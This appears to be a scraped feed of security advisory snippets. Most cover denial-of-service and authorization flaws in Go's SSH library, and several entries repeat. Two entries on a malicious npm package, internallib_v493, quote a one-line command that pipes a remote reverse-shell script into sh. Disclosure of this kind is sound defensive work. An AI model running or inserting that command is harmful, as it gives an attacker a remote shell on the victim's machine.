CVE-2026-39834 Invoking infinite loop on large channel writes in golang.org/x/crypto/ssh

When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation...

CVE-2026-46598 Invoking pathological inputs can lead to client panic in golang.org/x/crypto/ssh/agent

For certain crafted inputs, a 'ed25519.PrivateKey' was created by casting malformed wire bytes, leading to a panic when used...

CVE-2026-39830

A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close, resulting in a resource leak per connection. Unsolicited global responses are now discarded...

CVE-2026-39827

An authenticated SSH client that repeatedly opened channels which were rejected by the server caused unbounded memory growth, eventually crashing the server process and affecting all connected users. Rejected channels are now properly removed from the connection's internal state and released for...

CVE-2026-39834

When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation...

CVE-2026-46595

Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped...

CVE-2026-39834

When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation...

CVE-2026-46598

The golang.org/x/crypto library is vulnerable to a denial of service through a panic when processing certain crafted inputs. Specifically, providing malformed wire bytes can cause the creation of an ed25519.PrivateKey , which leads to a panic during subsequent use. This vulnerability impacts seve...

CVE-2026-39828

The amazon-cloudwatch-agent software is affected by CVE-2026-39828 , a vulnerability where an SSH server authentication callback returning PartialSuccessError with non-nil Permissions would silently discard those permissions. This flaw could potentially drop certificate restrictions, such as forc...

CVE-2026-39835

SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil...

CVE-2026-39828

When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError...

CVE-2026-39835 Invoking server panic during CheckHostKey/Authenticate in golang.org/x/crypto/ssh

SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil...

GO-2026-5014 Invoking bypass of certificate restrictions in golang.org/x/crypto/ssh

When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError...

GO-2026-5033 Invoking pathological inputs can lead to client panic in golang.org/x/crypto/ssh/agent

For certain crafted inputs, a 'ed25519.PrivateKey' was created by casting malformed wire bytes, leading to a panic when used...

GO-2026-5017 Invoking client can cause server deadlock on unexpected responses in golang.org/x/crypto/ssh

A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close, resulting in a resource leak per connection. Unsolicited global responses are now discarded...

Malicious code in internallib_v493 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67451793d9877224d7acc26100c76cd2378f45c39354f89ca1e0dd37565741b7 The package's sole exported function command in index.js executes /bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh", fetching a...

MAL-2026-4585 Malicious code in internallib_v493 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 67451793d9877224d7acc26100c76cd2378f45c39354f89ca1e0dd37565741b7 The package's sole exported function command in index.js executes /bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh", fetching a...

Exploit for Code Injection in Vmware Spring_Framework

Spring4Shell Threat Sandbox CVE-2022-22965 Overview Thi...

RockyLinux 9 : cockpit: Unauthenticated remote code execution due to SSH command-line argument injection (Critical) (RLSA-2026:7384)

The remote RockyLinux 9 host has packages installed that are affected by a vulnerability as referenced in the RLSA-2026:7384 advisory. cockpit: ws: be more explicit when handling hostnames on cli CVE-2026-4631 Tenable has extracted the preceding description block directly from the RockyLinux...

Dell PowerFlex Manager 加密问题漏洞

Dell PowerFlex Manager is a software-defined infrastructure deployment and lifecycle management platform developed by the American company Dell. Versions of Dell PowerFlex Manager prior to 4.6.2 contained an encryption vulnerability. This vulnerability stemmed from the use of defective or high-ri...